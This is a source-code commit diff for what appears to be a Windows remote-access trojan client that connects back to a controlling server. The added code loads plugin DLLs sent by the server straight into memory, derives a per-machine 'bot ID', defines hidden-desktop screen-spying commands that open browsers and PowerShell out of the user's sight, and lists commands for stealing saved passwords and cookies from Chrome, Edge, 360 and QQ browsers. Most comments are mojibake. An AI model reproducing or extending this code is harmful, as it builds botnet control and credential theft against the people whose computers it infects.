Reserve for running customized module in future
This commit is contained in:
@@ -103,7 +103,7 @@ DWORD WINAPI ThreadProc(LPVOID lParam)
|
|||||||
template <class Manager, int n> DWORD WINAPI LoopManager(LPVOID lParam)
|
template <class Manager, int n> DWORD WINAPI LoopManager(LPVOID lParam)
|
||||||
{
|
{
|
||||||
ThreadInfo *pInfo = (ThreadInfo *)lParam;
|
ThreadInfo *pInfo = (ThreadInfo *)lParam;
|
||||||
IOCPClient *ClientObject = pInfo->p;
|
IOCPClient *ClientObject = (IOCPClient *)pInfo->p;
|
||||||
CONNECT_ADDRESS& g_SETTINGS(*(pInfo->conn));
|
CONNECT_ADDRESS& g_SETTINGS(*(pInfo->conn));
|
||||||
if (ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort()))
|
if (ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort()))
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -12,6 +12,7 @@
|
|||||||
#define ALGORITHM_GRAY 0
|
#define ALGORITHM_GRAY 0
|
||||||
#define ALGORITHM_DIFF 1
|
#define ALGORITHM_DIFF 1
|
||||||
#define ALGORITHM_H264 2
|
#define ALGORITHM_H264 2
|
||||||
|
#define ALGORITHM_HOME 3
|
||||||
|
|
||||||
#define MAX_CURSOR_TYPE 16
|
#define MAX_CURSOR_TYPE 16
|
||||||
|
|
||||||
|
|||||||
@@ -10,6 +10,7 @@
|
|||||||
#include <corecrt_io.h>
|
#include <corecrt_io.h>
|
||||||
#include "ClientDll.h"
|
#include "ClientDll.h"
|
||||||
#include "MemoryModule.h"
|
#include "MemoryModule.h"
|
||||||
|
#include "common/dllRunner.h"
|
||||||
|
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
// Construction/Destruction
|
// Construction/Destruction
|
||||||
@@ -61,20 +62,16 @@ UINT CKernelManager::GetAvailableIndex() {
|
|||||||
return -1;
|
return -1;
|
||||||
}
|
}
|
||||||
|
|
||||||
BOOL WriteBinaryToFile(const char* data, ULONGLONG size)
|
BOOL WriteBinaryToFile(const char* data, ULONGLONG size, const char* name = "ServerDll.new")
|
||||||
{
|
{
|
||||||
if (size > 32 * 1024 * 1024) {
|
|
||||||
Mprintf("WriteBinaryToFile fail: too large file size!!\n");
|
|
||||||
return FALSE;
|
|
||||||
}
|
|
||||||
|
|
||||||
char path[_MAX_PATH], * p = path;
|
char path[_MAX_PATH], * p = path;
|
||||||
GetModuleFileNameA(NULL, path, sizeof(path));
|
GetModuleFileNameA(NULL, path, sizeof(path));
|
||||||
while (*p) ++p;
|
while (*p) ++p;
|
||||||
while ('\\' != *p) --p;
|
while ('\\' != *p) --p;
|
||||||
strcpy(p + 1, "ServerDll.new");
|
strcpy(p + 1, name);
|
||||||
if (_access(path, 0)!=-1)
|
if (_access(path, 0) != -1)
|
||||||
{
|
{
|
||||||
|
if (std::string("ServerDll.new")!=name) return TRUE;
|
||||||
DeleteFileA(path);
|
DeleteFileA(path);
|
||||||
}
|
}
|
||||||
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>ģʽд<CABD><D0B4>
|
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>ģʽд<CABD><D0B4>
|
||||||
@@ -113,11 +110,10 @@ BOOL WriteBinaryToFile(const char* data, ULONGLONG size)
|
|||||||
|
|
||||||
typedef struct DllExecParam
|
typedef struct DllExecParam
|
||||||
{
|
{
|
||||||
State& exit;
|
|
||||||
DllExecuteInfo info;
|
DllExecuteInfo info;
|
||||||
|
PluginParam param;
|
||||||
BYTE* buffer;
|
BYTE* buffer;
|
||||||
DllExecParam(const DllExecuteInfo* dll, BYTE* data, State& status) : exit(status) {
|
DllExecParam(const DllExecuteInfo& dll, const PluginParam& arg, BYTE* data) : info(dll), param(arg) {
|
||||||
memcpy(&info, dll, sizeof(DllExecuteInfo));
|
|
||||||
buffer = new BYTE[info.Size];
|
buffer = new BYTE[info.Size];
|
||||||
memcpy(buffer, data, info.Size);
|
memcpy(buffer, data, info.Size);
|
||||||
}
|
}
|
||||||
@@ -126,32 +122,64 @@ typedef struct DllExecParam
|
|||||||
}
|
}
|
||||||
}DllExecParam;
|
}DllExecParam;
|
||||||
|
|
||||||
|
|
||||||
|
class MemoryDllRunner : public DllRunner {
|
||||||
|
protected:
|
||||||
|
HMEMORYMODULE m_mod;
|
||||||
|
public:
|
||||||
|
MemoryDllRunner() : m_mod(nullptr) {}
|
||||||
|
virtual void* LoadLibraryA(const char* data, int size) {
|
||||||
|
return (m_mod = ::MemoryLoadLibrary(data, size));
|
||||||
|
}
|
||||||
|
virtual FARPROC GetProcAddress(void* mod, const char* lpProcName) {
|
||||||
|
return ::MemoryGetProcAddress((HMEMORYMODULE)mod, lpProcName);
|
||||||
|
}
|
||||||
|
virtual BOOL FreeLibrary(void* mod) {
|
||||||
|
::MemoryFreeLibrary((HMEMORYMODULE)mod);
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
|
||||||
DWORD WINAPI ExecuteDLLProc(LPVOID param) {
|
DWORD WINAPI ExecuteDLLProc(LPVOID param) {
|
||||||
DllExecParam* dll = (DllExecParam*)param;
|
DllExecParam* dll = (DllExecParam*)param;
|
||||||
HMEMORYMODULE module = MemoryLoadLibrary(dll->buffer, dll->info.Size);
|
|
||||||
if (module) {
|
|
||||||
DllExecuteInfo info = dll->info;
|
DllExecuteInfo info = dll->info;
|
||||||
if (info.Func[0]) {
|
PluginParam pThread = dll->param;
|
||||||
FARPROC proc = MemoryGetProcAddress(module, info.Func);
|
#ifdef _DEBUG
|
||||||
if (proc) {
|
WriteBinaryToFile((char*)dll->buffer, info.Size, info.Name);
|
||||||
|
DllRunner* runner = new DefaultDllRunner(info.Name);
|
||||||
|
#else
|
||||||
|
DllRunner* runner = new MemoryDllRunner();
|
||||||
|
#endif
|
||||||
|
HMEMORYMODULE module = runner->LoadLibraryA((char*)dll->buffer, info.Size);
|
||||||
|
if (module) {
|
||||||
switch (info.CallType)
|
switch (info.CallType)
|
||||||
{
|
{
|
||||||
case CALLTYPE_DEFAULT:
|
case CALLTYPE_DEFAULT:
|
||||||
((CallTypeDefault)proc)();
|
while (S_CLIENT_EXIT != *pThread.Exit)
|
||||||
|
Sleep(1000);
|
||||||
break;
|
break;
|
||||||
|
case CALLTYPE_IOCPTHREAD: {
|
||||||
|
PTHREAD_START_ROUTINE proc = (PTHREAD_START_ROUTINE)runner->GetProcAddress(module, "run");
|
||||||
|
Mprintf("MemoryGetProcAddress '%s' %s\n", info.Name, proc ? "success" : "failed");
|
||||||
|
if (proc) {
|
||||||
|
proc(&pThread);
|
||||||
|
}else {
|
||||||
|
while (S_CLIENT_EXIT != *pThread.Exit)
|
||||||
|
Sleep(1000);
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
default:
|
default:
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
runner->FreeLibrary(module);
|
||||||
}
|
}
|
||||||
}
|
else {
|
||||||
else { // û<><C3BB>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֻ<EFBFBD><D6BB><EFBFBD><EFBFBD>DLL
|
Mprintf("MemoryLoadLibrary '%s' failed\n", info.Name);
|
||||||
while (S_CLIENT_EXIT != dll->exit) {
|
|
||||||
Sleep(1000);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
MemoryFreeLibrary(module);
|
|
||||||
}
|
}
|
||||||
SAFE_DELETE(dll);
|
SAFE_DELETE(dll);
|
||||||
|
SAFE_DELETE(runner);
|
||||||
return 0x20250529;
|
return 0x20250529;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -160,21 +188,24 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
bool isExit = szBuffer[0] == COMMAND_BYE || szBuffer[0] == SERVER_EXIT;
|
bool isExit = szBuffer[0] == COMMAND_BYE || szBuffer[0] == SERVER_EXIT;
|
||||||
if ((m_ulThreadCount = GetAvailableIndex()) == -1 && !isExit) {
|
if ((m_ulThreadCount = GetAvailableIndex()) == -1 && !isExit) {
|
||||||
return Mprintf("CKernelManager: The number of threads exceeds the limit.\n");
|
return Mprintf("CKernelManager: The number of threads exceeds the limit.\n");
|
||||||
} else if (!isExit){
|
}
|
||||||
|
else if (!isExit) {
|
||||||
m_hThread[m_ulThreadCount].p = nullptr;
|
m_hThread[m_ulThreadCount].p = nullptr;
|
||||||
m_hThread[m_ulThreadCount].conn = m_conn;
|
m_hThread[m_ulThreadCount].conn = m_conn;
|
||||||
}
|
}
|
||||||
|
|
||||||
switch(szBuffer[0])
|
switch (szBuffer[0])
|
||||||
{
|
{
|
||||||
case CMD_EXECUTE_DLL: {
|
case CMD_EXECUTE_DLL: {
|
||||||
#ifdef _WIN64
|
#ifdef _WIN64
|
||||||
const int sz = 1 + sizeof(DllExecuteInfo);
|
const int sz = 1 + sizeof(DllExecuteInfo);
|
||||||
if (ulLength <= sz)break;
|
if (ulLength <= sz)break;
|
||||||
DllExecuteInfo* info = (DllExecuteInfo*)(szBuffer + 1);
|
DllExecuteInfo* info = (DllExecuteInfo*)(szBuffer + 1);
|
||||||
if (info->Size == ulLength - sz)
|
if (info->Size == ulLength - sz && info->RunType == MEMORYDLL) {
|
||||||
CloseHandle(CreateThread(NULL, 0, ExecuteDLLProc, new DllExecParam(info, szBuffer + sz, g_bExit), 0, NULL));
|
PluginParam param(m_conn->ServerIP(), m_conn->ServerPort(), &g_bExit);
|
||||||
Mprintf("Execute '%s'%s succeed: %d Length: %d\n", info->Name, info->Func, szBuffer[1], info->Size);
|
CloseHandle(CreateThread(NULL, 0, ExecuteDLLProc, new DllExecParam(*info, param, szBuffer + sz), 0, NULL));
|
||||||
|
Mprintf("Execute '%s'%d succeed: %d Length: %d\n", info->Name, info->CallType, szBuffer[1], info->Size);
|
||||||
|
}
|
||||||
#endif
|
#endif
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -72,17 +72,6 @@ private:
|
|||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
// <20>߳<EFBFBD><DFB3><EFBFBD>Ϣ<EFBFBD>ṹ<EFBFBD><E1B9B9>, <20><><EFBFBD><EFBFBD>3<EFBFBD><33><EFBFBD><EFBFBD>Ա: <20><><EFBFBD><EFBFBD>״̬(run)<29><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>(h)<29><>ͨѶ<CDA8>ͻ<EFBFBD><CDBB><EFBFBD>(p).
|
|
||||||
struct ThreadInfo
|
|
||||||
{
|
|
||||||
BOOL run;
|
|
||||||
HANDLE h;
|
|
||||||
IOCPClient *p;
|
|
||||||
void* user;
|
|
||||||
CONNECT_ADDRESS* conn;
|
|
||||||
ThreadInfo() : run(TRUE), h(NULL), p(NULL), user(nullptr), conn(nullptr){ }
|
|
||||||
};
|
|
||||||
|
|
||||||
class CKernelManager : public CManager
|
class CKernelManager : public CManager
|
||||||
{
|
{
|
||||||
public:
|
public:
|
||||||
|
|||||||
@@ -14,7 +14,7 @@ typedef struct {
|
|||||||
HANDLE hEventTransferArg;
|
HANDLE hEventTransferArg;
|
||||||
} THREAD_ARGLIST, * LPTHREAD_ARGLIST;
|
} THREAD_ARGLIST, * LPTHREAD_ARGLIST;
|
||||||
|
|
||||||
BOOL SelectDesktop(TCHAR* name);
|
HDESK SelectDesktop(TCHAR* name);
|
||||||
|
|
||||||
unsigned int __stdcall ThreadLoader(LPVOID param)
|
unsigned int __stdcall ThreadLoader(LPVOID param)
|
||||||
{
|
{
|
||||||
@@ -54,6 +54,41 @@ HANDLE MyCreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD
|
|||||||
return hThread;
|
return hThread;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
ULONG PseudoRand(ULONG* seed)
|
||||||
|
{
|
||||||
|
return (*seed = 1352459 * (*seed) + 2529004207);
|
||||||
|
}
|
||||||
|
|
||||||
|
std::string GetBotId()
|
||||||
|
{
|
||||||
|
#define _T(p) p
|
||||||
|
TCHAR botId[35] = { 0 };
|
||||||
|
TCHAR windowsDirectory[MAX_PATH] = {};
|
||||||
|
TCHAR volumeName[8] = { 0 };
|
||||||
|
DWORD seed = 0;
|
||||||
|
|
||||||
|
if (GetWindowsDirectory(windowsDirectory, sizeof(windowsDirectory)))
|
||||||
|
windowsDirectory[0] = _T('C');
|
||||||
|
|
||||||
|
volumeName[0] = windowsDirectory[0];
|
||||||
|
volumeName[1] = _T(':');
|
||||||
|
volumeName[2] = _T('\\');
|
||||||
|
volumeName[3] = _T('\0');
|
||||||
|
|
||||||
|
GetVolumeInformation(volumeName, NULL, 0, &seed, 0, NULL, NULL, 0);
|
||||||
|
|
||||||
|
GUID guid = {};
|
||||||
|
guid.Data1 = PseudoRand(&seed);
|
||||||
|
|
||||||
|
guid.Data2 = (USHORT)PseudoRand(&seed);
|
||||||
|
guid.Data3 = (USHORT)PseudoRand(&seed);
|
||||||
|
for (int i = 0; i < 8; i++)
|
||||||
|
guid.Data4[i] = (UCHAR)PseudoRand(&seed);
|
||||||
|
wsprintf(botId, _T("%08lX%04lX%lu"), guid.Data1, guid.Data3, *(ULONG*)&guid.Data4[2]);
|
||||||
|
return botId;
|
||||||
|
#undef _T(p)
|
||||||
|
}
|
||||||
|
|
||||||
BOOL SelectHDESK(HDESK new_desktop)
|
BOOL SelectHDESK(HDESK new_desktop)
|
||||||
{
|
{
|
||||||
HDESK old_desktop = GetThreadDesktop(GetCurrentThreadId());
|
HDESK old_desktop = GetThreadDesktop(GetCurrentThreadId());
|
||||||
@@ -80,9 +115,9 @@ BOOL SelectHDESK(HDESK new_desktop)
|
|||||||
// Switches the current thread into a different desktop, by name
|
// Switches the current thread into a different desktop, by name
|
||||||
// Calling with a valid desktop name will place the thread in that desktop.
|
// Calling with a valid desktop name will place the thread in that desktop.
|
||||||
// Calling with a NULL name will place the thread in the current input desktop.
|
// Calling with a NULL name will place the thread in the current input desktop.
|
||||||
BOOL SelectDesktop(TCHAR* name)
|
HDESK SelectDesktop(TCHAR* name)
|
||||||
{
|
{
|
||||||
HDESK desktop;
|
HDESK desktop = NULL;
|
||||||
|
|
||||||
if (name != NULL) {
|
if (name != NULL) {
|
||||||
// Attempt to open the named desktop
|
// Attempt to open the named desktop
|
||||||
@@ -103,18 +138,18 @@ BOOL SelectDesktop(TCHAR* name)
|
|||||||
|
|
||||||
// Did we succeed?
|
// Did we succeed?
|
||||||
if (desktop == NULL) {
|
if (desktop == NULL) {
|
||||||
return FALSE;
|
return NULL;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Switch to the new desktop
|
// Switch to the new desktop
|
||||||
if (!SelectHDESK(desktop)) {
|
if (!SelectHDESK(desktop)) {
|
||||||
// Failed to enter the new desktop, so free it!
|
// Failed to enter the new desktop, so free it!
|
||||||
CloseDesktop(desktop);
|
CloseDesktop(desktop);
|
||||||
return FALSE;
|
return NULL;
|
||||||
}
|
}
|
||||||
|
|
||||||
// We successfully switched desktops!
|
// We successfully switched desktops!
|
||||||
return TRUE;
|
return desktop;
|
||||||
}
|
}
|
||||||
|
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
@@ -123,6 +158,7 @@ BOOL SelectDesktop(TCHAR* name)
|
|||||||
|
|
||||||
CManager::CManager(IOCPClient* ClientObject) : g_bExit(ClientObject->g_bExit)
|
CManager::CManager(IOCPClient* ClientObject) : g_bExit(ClientObject->g_bExit)
|
||||||
{
|
{
|
||||||
|
m_bReady = TRUE;
|
||||||
m_ClientObject = ClientObject;
|
m_ClientObject = ClientObject;
|
||||||
m_ClientObject->setManagerCallBack(this, IOCPManager::DataProcess);
|
m_ClientObject->setManagerCallBack(this, IOCPManager::DataProcess);
|
||||||
|
|
||||||
|
|||||||
@@ -12,6 +12,12 @@
|
|||||||
#include "..\common\commands.h"
|
#include "..\common\commands.h"
|
||||||
#include "IOCPClient.h"
|
#include "IOCPClient.h"
|
||||||
|
|
||||||
|
#define ENABLE_VSCREEN 1
|
||||||
|
|
||||||
|
HDESK SelectDesktop(TCHAR* name);
|
||||||
|
|
||||||
|
std::string GetBotId();
|
||||||
|
|
||||||
typedef IOCPClient CClientSocket;
|
typedef IOCPClient CClientSocket;
|
||||||
|
|
||||||
typedef IOCPClient ISocketBase;
|
typedef IOCPClient ISocketBase;
|
||||||
@@ -27,6 +33,7 @@ class CManager : public IOCPManager
|
|||||||
{
|
{
|
||||||
public:
|
public:
|
||||||
State&g_bExit; // 1-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD> 2-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
|
State&g_bExit; // 1-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD> 2-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
|
||||||
|
BOOL m_bReady;
|
||||||
CManager(IOCPClient* ClientObject);
|
CManager(IOCPClient* ClientObject);
|
||||||
virtual ~CManager();
|
virtual ~CManager();
|
||||||
|
|
||||||
@@ -37,6 +44,7 @@ public:
|
|||||||
VOID NotifyDialogIsOpen();
|
VOID NotifyDialogIsOpen();
|
||||||
|
|
||||||
int Send(LPBYTE lpData, UINT nSize);
|
int Send(LPBYTE lpData, UINT nSize);
|
||||||
|
virtual void SetReady(BOOL ready = true) { m_bReady = ready; }
|
||||||
};
|
};
|
||||||
|
|
||||||
#endif // !defined(AFX_MANAGER_H__32F1A4B3_8EA6_40C5_B1DF_E469F03FEC30__INCLUDED_)
|
#endif // !defined(AFX_MANAGER_H__32F1A4B3_8EA6_40C5_B1DF_E469F03FEC30__INCLUDED_)
|
||||||
|
|||||||
@@ -4,6 +4,7 @@
|
|||||||
#include "ShellcodeInj.h"
|
#include "ShellcodeInj.h"
|
||||||
#include <WS2tcpip.h>
|
#include <WS2tcpip.h>
|
||||||
#include <common/commands.h>
|
#include <common/commands.h>
|
||||||
|
#include "common/dllRunner.h"
|
||||||
#pragma comment(lib, "ws2_32.lib")
|
#pragma comment(lib, "ws2_32.lib")
|
||||||
|
|
||||||
// <20>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>е<EFBFBD>ֵ
|
// <20>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>е<EFBFBD>ֵ
|
||||||
@@ -113,32 +114,6 @@ typedef struct PkgHeader {
|
|||||||
}
|
}
|
||||||
}PkgHeader;
|
}PkgHeader;
|
||||||
|
|
||||||
// A DLL runner.
|
|
||||||
class DllRunner {
|
|
||||||
public:
|
|
||||||
virtual void* LoadLibraryA(const char* path) = 0;
|
|
||||||
virtual FARPROC GetProcAddress(void* mod, const char* lpProcName) = 0;
|
|
||||||
virtual BOOL FreeLibrary(void* mod) = 0;
|
|
||||||
};
|
|
||||||
|
|
||||||
// Default DLL runner.
|
|
||||||
class DefaultDllRunner : public DllRunner {
|
|
||||||
private:
|
|
||||||
HMODULE m_mod;
|
|
||||||
public:
|
|
||||||
DefaultDllRunner() : m_mod(nullptr) {}
|
|
||||||
// Load DLL from the disk.
|
|
||||||
virtual void* LoadLibraryA(const char* path) {
|
|
||||||
return m_mod = ::LoadLibraryA(path);
|
|
||||||
}
|
|
||||||
virtual FARPROC GetProcAddress(void *mod, const char* lpProcName) {
|
|
||||||
return ::GetProcAddress(m_mod, lpProcName);
|
|
||||||
}
|
|
||||||
virtual BOOL FreeLibrary(void* mod) {
|
|
||||||
return ::FreeLibrary(m_mod);
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
// Memory DLL runner.
|
// Memory DLL runner.
|
||||||
class MemoryDllRunner : public DllRunner {
|
class MemoryDllRunner : public DllRunner {
|
||||||
protected:
|
protected:
|
||||||
@@ -239,7 +214,7 @@ public:
|
|||||||
return buffer;
|
return buffer;
|
||||||
}
|
}
|
||||||
// Request DLL from the master.
|
// Request DLL from the master.
|
||||||
virtual void* LoadLibraryA(const char* path) {
|
virtual void* LoadLibraryA(const char* path, int len=0) {
|
||||||
int size = 0;
|
int size = 0;
|
||||||
auto buffer = ReceiveDll(size);
|
auto buffer = ReceiveDll(size);
|
||||||
if (nullptr == buffer)
|
if (nullptr == buffer)
|
||||||
|
|||||||
@@ -1,5 +1,5 @@
|
|||||||
#pragma once
|
#pragma once
|
||||||
|
#define _CRT_SECURE_NO_WARNINGS
|
||||||
#include <vector>
|
#include <vector>
|
||||||
#include <string>
|
#include <string>
|
||||||
#include <iosfwd>
|
#include <iosfwd>
|
||||||
@@ -205,7 +205,10 @@ enum
|
|||||||
TOKEN_TALK_START, // <20><>ʱ<EFBFBD><CAB1>Ϣ<EFBFBD><CFA2>ʼ
|
TOKEN_TALK_START, // <20><>ʱ<EFBFBD><CAB1>Ϣ<EFBFBD><CFA2>ʼ
|
||||||
TOKEN_TALKCMPLT, // <20><>ʱ<EFBFBD><CAB1>Ϣ<EFBFBD><CFA2><EFBFBD>ط<EFBFBD>
|
TOKEN_TALKCMPLT, // <20><>ʱ<EFBFBD><CAB1>Ϣ<EFBFBD><CFA2><EFBFBD>ط<EFBFBD>
|
||||||
TOKEN_KEYFRAME=134, // <20>ؼ<EFBFBD>֡
|
TOKEN_KEYFRAME=134, // <20>ؼ<EFBFBD>֡
|
||||||
|
TOKEN_BITMAPINFO_HIDE, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ
|
||||||
|
TOKEN_SCREEN_SIZE, // <20><>Ļ<EFBFBD><C4BB>С
|
||||||
|
|
||||||
|
TOKEN_DECRYPT = 199,
|
||||||
TOKEN_REGEDIT = 200, // ע<><D7A2><EFBFBD><EFBFBD>
|
TOKEN_REGEDIT = 200, // ע<><D7A2><EFBFBD><EFBFBD>
|
||||||
COMMAND_REG_FIND, // ע<><D7A2><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʶ
|
COMMAND_REG_FIND, // ע<><D7A2><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʶ
|
||||||
TOKEN_REG_KEY,
|
TOKEN_REG_KEY,
|
||||||
@@ -231,6 +234,56 @@ enum ProxyManager {
|
|||||||
COMMAND_PROXY_CONNECT_HOSTNAME,
|
COMMAND_PROXY_CONNECT_HOSTNAME,
|
||||||
};
|
};
|
||||||
|
|
||||||
|
// <20><>̨<EFBFBD><CCA8>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
enum HideScreenSpy {
|
||||||
|
COMMAND_FLUSH_HIDE, // ˢ<><CBA2><EFBFBD><EFBFBD>Ļ
|
||||||
|
COMMAND_SCREEN_SETSCREEN_HIDE, // <20><><EFBFBD>÷ֱ<C3B7><D6B1><EFBFBD>
|
||||||
|
COMMAND_HIDE_USER, // <20>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
COMMAND_HIDE_CLEAR, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̨
|
||||||
|
COMMAND_COMMAND_SCREENUALITY60_HIDE, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
COMMAND_COMMAND_SCREENUALITY85_HIDE, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
COMMAND_COMMAND_SCREENUALITY100_HIDE, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
IDM_OPEN_Explorer = 33,
|
||||||
|
IDM_OPEN_run,
|
||||||
|
IDM_OPEN_Powershell,
|
||||||
|
|
||||||
|
IDM_OPEN_360JS,
|
||||||
|
IDM_OPEN_360AQ,
|
||||||
|
IDM_OPEN_360AQ2,
|
||||||
|
IDM_OPEN_Chrome,
|
||||||
|
IDM_OPEN_Edge,
|
||||||
|
IDM_OPEN_Brave,
|
||||||
|
IDM_OPEN_Firefox,
|
||||||
|
IDM_OPEN_Iexplore,
|
||||||
|
IDM_OPEN_ADD_1,
|
||||||
|
IDM_OPEN_ADD_2,
|
||||||
|
IDM_OPEN_ADD_3,
|
||||||
|
IDM_OPEN_ADD_4,
|
||||||
|
IDM_OPEN_zdy,
|
||||||
|
IDM_OPEN_zdy2,
|
||||||
|
IDM_OPEN_close,
|
||||||
|
};
|
||||||
|
|
||||||
|
struct ZdyCmd {
|
||||||
|
char oldpath[_MAX_PATH];
|
||||||
|
char newpath[_MAX_PATH];
|
||||||
|
char cmdline[_MAX_PATH];
|
||||||
|
};
|
||||||
|
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
enum DecryptCommand {
|
||||||
|
COMMAND_LLQ_GetChromePassWord,
|
||||||
|
COMMAND_LLQ_GetEdgePassWord,
|
||||||
|
COMMAND_LLQ_GetSpeed360PassWord,
|
||||||
|
COMMAND_LLQ_Get360sePassWord,
|
||||||
|
COMMAND_LLQ_GetQQBroPassWord,
|
||||||
|
|
||||||
|
COMMAND_LLQ_GetChromeCookies,
|
||||||
|
};
|
||||||
|
|
||||||
|
typedef DecryptCommand BroType;
|
||||||
|
|
||||||
enum
|
enum
|
||||||
{
|
{
|
||||||
CLIENT_TYPE_DLL = 0, // <20>ͻ<EFBFBD><CDBB>˴<EFBFBD><CBB4><EFBFBD><EFBFBD><EFBFBD>DLL<4C><4C><EFBFBD><EFBFBD>
|
CLIENT_TYPE_DLL = 0, // <20>ͻ<EFBFBD><CDBB>˴<EFBFBD><CBB4><EFBFBD><EFBFBD><EFBFBD>DLL<4C><4C><EFBFBD><EFBFBD>
|
||||||
@@ -402,6 +455,28 @@ public:
|
|||||||
}
|
}
|
||||||
} CONNECT_ADDRESS ;
|
} CONNECT_ADDRESS ;
|
||||||
|
|
||||||
|
// <20>ͻ<EFBFBD><CDBB>˳<EFBFBD><CBB3><EFBFBD><EFBFBD>߳<EFBFBD><DFB3><EFBFBD>Ϣ<EFBFBD>ṹ<EFBFBD><E1B9B9>, <20><><EFBFBD><EFBFBD>5<EFBFBD><35><EFBFBD><EFBFBD>Ա:
|
||||||
|
// <20><><EFBFBD><EFBFBD>״̬(run)<29><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>(h)<29><>ͨѶ<CDA8>ͻ<EFBFBD><CDBB><EFBFBD>(p)<29><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߲<EFBFBD><DFB2><EFBFBD>(user)<29><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ(conn).
|
||||||
|
struct ThreadInfo
|
||||||
|
{
|
||||||
|
int run;
|
||||||
|
HANDLE h;
|
||||||
|
void* p;
|
||||||
|
void* user;
|
||||||
|
CONNECT_ADDRESS* conn;
|
||||||
|
ThreadInfo() : run(1), h(NULL), p(NULL), user(NULL), conn(NULL) { }
|
||||||
|
};
|
||||||
|
|
||||||
|
struct PluginParam {
|
||||||
|
char IP[100]; // <20><><EFBFBD><EFBFBD>IP
|
||||||
|
int Port; // <20><><EFBFBD>ض˿<D8B6>
|
||||||
|
State *Exit; // <20>ͻ<EFBFBD><CDBB><EFBFBD>״̬
|
||||||
|
void* User; // <20>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
PluginParam(const char*ip, int port, State *s, void* u=0) : Port(port), Exit(s), User(u){
|
||||||
|
strcpy_s(IP, ip);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
// <20><><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD>ַ<EFBFBD><D6B7>ָ<EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD>
|
// <20><><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD>ַ<EFBFBD><D6B7>ָ<EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD>
|
||||||
inline std::vector<std::string> StringToVector(const std::string& str, char ch, int reserved = 1) {
|
inline std::vector<std::string> StringToVector(const std::string& str, char ch, int reserved = 1) {
|
||||||
// ʹ<><CAB9><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8>ַ<EFBFBD><D6B7><EFBFBD>
|
// ʹ<><CAB9><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8>ַ<EFBFBD><D6B7><EFBFBD>
|
||||||
@@ -513,14 +588,13 @@ typedef struct MasterSettings {
|
|||||||
char Reserved[476]; // Ԥ<><D4A4>
|
char Reserved[476]; // Ԥ<><D4A4>
|
||||||
}MasterSettings;
|
}MasterSettings;
|
||||||
|
|
||||||
